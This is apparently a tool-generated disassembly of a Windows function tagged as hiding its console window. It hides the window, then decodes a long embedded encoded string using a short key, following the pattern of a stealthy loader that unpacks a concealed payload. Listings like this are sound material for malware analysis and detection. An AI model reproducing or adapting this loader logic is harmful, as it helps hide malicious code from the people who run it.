Function at 0x1400d0220
Capabilities:
Hide graphical window

Disassembly:
push rbp
push rbx
sub rsp, 0xd8
lea rbp, [rsp + 0xd0]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov dword [rbp + 0x38], r9d
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x14000234e
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
call fcn.140001678
lea rax, [rbp - 0x41]
mov qword [rbp - 0x10], rax
nop
nop
lea rdx, [rbp - 0x41]
lea rax, [rbp - 0x70]
mov r8, rdx
lea rdx, str.___________zDCypsCQ_UIweHATcShjE2YwAJBVMLoQUDC6ECgwuhAQMD71ejJ8c_kwujBgMACCnERQPjJUEQPxsTwDMbnTr2IwuhAQOWDJckR5QAesDooczNNtQoxQjDzscoweDEKtbhFJXh54Qa7OBELMai6Cigo0hR9SfgKz7FwyQTweUPmMACCnDnwiz05MIMImESzfHt9Zjg9CJNFoGkGuzgVCzGoVwO7dHkGuzgtCzGocMk08HAaeHnhA2gmaBhxIHAbcSJ5wdxYcBDPmGkDaSJ5ySKRer3Ph2wLjg9CcG9LA0IwOWcLuZ55w9zYMEIwMbinecQzQjHDiJKu0XAWefHVDrmJcPh8DxdFz619y9oQMEMweGgDilGxKTCH5Cg6OW8SYDUAi31J8QrPuHnL8jDOgnjx8AOKkj6d0IfkCrm_W1JxIH3L0jC4u3HCqOdEGc6XtbhFSHmH_zfVkKJCMHh5wdxoecvSNQCLWnxwGnjxyAOKeuiKb4fkwch4Txd4_VibvHHKHA5aCowaDFCcSB5y8IwAItxwmnmY53Ol3jx8gu5v3xzTG4snjx6wq5gXD4MqH5HctsrowBRkacS9oKjA4MUJxIFtCajmLSR93Ab3lL2gDig1fD1GH5AvPtthz4fOCjG7eWv2MLS0RcxwvdcgW0JpMfaAwM2TFMt_n
mov rcx, rax
call fcn.1400baf30
lea rax, [rbp - 0x41]
mov rcx, rax
call fcn.1400ab690
nop
lea rax, [rbp - 0x70]
mov rcx, rax
call fcn.1400b8a70
mov qword [rbp - 0x38], rax
lea rdx, [rbp - 0x38]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400226a0
lea rax, [rbp - 0x70]
mov rcx, rax
call fcn.1400b8a70
mov rbx, rax
lea rax, [rbp - 0x70]
mov rcx, rax
call fcn.1400b9090
mov rdx, qword [sym.imp.msvcrt.dll_isspace]
mov r8, rdx
mov rdx, rbx
mov rcx, rax
call fcn.1400caff0
mov qword [rbp - 0x28], rax
lea rdx, [rbp - 0x28]
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.1400226a0
mov rcx, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
lea rax, [rbp - 0x70]
mov r8, rcx
mov rcx, rax
call fcn.1400b90e0
lea rax, [rbp - 0x90]
lea rdx, [rbp - 0x70]
mov rcx, rax
call fcn.140001714
lea rax, [rbp - 0x19]
mov qword [rbp - 0x18], rax
nop
nop
lea rdx, [rbp - 0x19]
lea rax, [rbp - 0xb0]
mov r8, rdx
lea rdx, str.0x1B
mov rcx, rax
call fcn.1400baf30
lea rax, [rbp - 0x19]
mov rcx, rax
call fcn.1400ab690
nop
lea rdx, [rbp - 0xb0]
lea rax, [rbp - 0x90]
mov rcx, rax
call fcn.140001f00
lea rax, [rbp - 0x90]
mov rcx, rax
call fcn.1400021e7
call fcn.140001678
mov ebx, 0
lea rax, [rbp - 0xb0]
mov rcx, rax
call fcn.1400bb490
lea rax, [rbp - 0x90]
mov rcx, rax
call fcn.1400b6440
lea rax, [rbp - 0x70]
mov rcx, rax
call fcn.1400bb490
mov eax, ebx
jmp 0x14000250d
add rsp, 0xd8
pop rbx
pop rbp
ret
push rdi
push rsi
push rbx
sub rsp, 0x90
xor esi, esi
call fcn.14000ebd0
call fcn.14001a5a0
mov rbx, qword [rax]
test rbx, rbx
jne 0x1400d026b
jmp 0x1400d02e9
test cl, cl
je 0x1400d02a0
and esi, 1
je 0x1400d0280
mov esi, 1
call sub.msvcrt.dll__ismbblead
test eax, eax
je 0x1400d0267
cmp byte [rbx + 1], 1
sbb rbx, 0xffffffffffffffff
add rbx, 1
movsx ecx, byte [rbx]
cmp cl, 0x20
jle 0x1400d0248
mov eax, esi
xor eax, 1
cmp cl, 0x22
cmove esi, eax
jmp 0x1400d0256
test cl, cl
je 0x1400d02a0
nop word cs:[rax + rax]
nop
movzx eax, byte [rbx + 1]
add rbx, 1
test al, al
je 0x1400d02a0
cmp al, 0x20
jle 0x1400d0290
lea rdx, [rsp + 0x20]
xor eax, eax
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov r9d, 0xa
test byte [rsp + 0x5c], 1
je 0x1400d02ce
movzx r9d, word [rsp + 0x60]
mov rcx, qword [0x1400dbaa0]
mov r8, rbx
xor edx, edx
add rsp, 0x90
pop rbx
pop rsi
pop rdi
jmp 0x140002304
lea rbx, [0x1400da180]
jmp 0x1400d02a0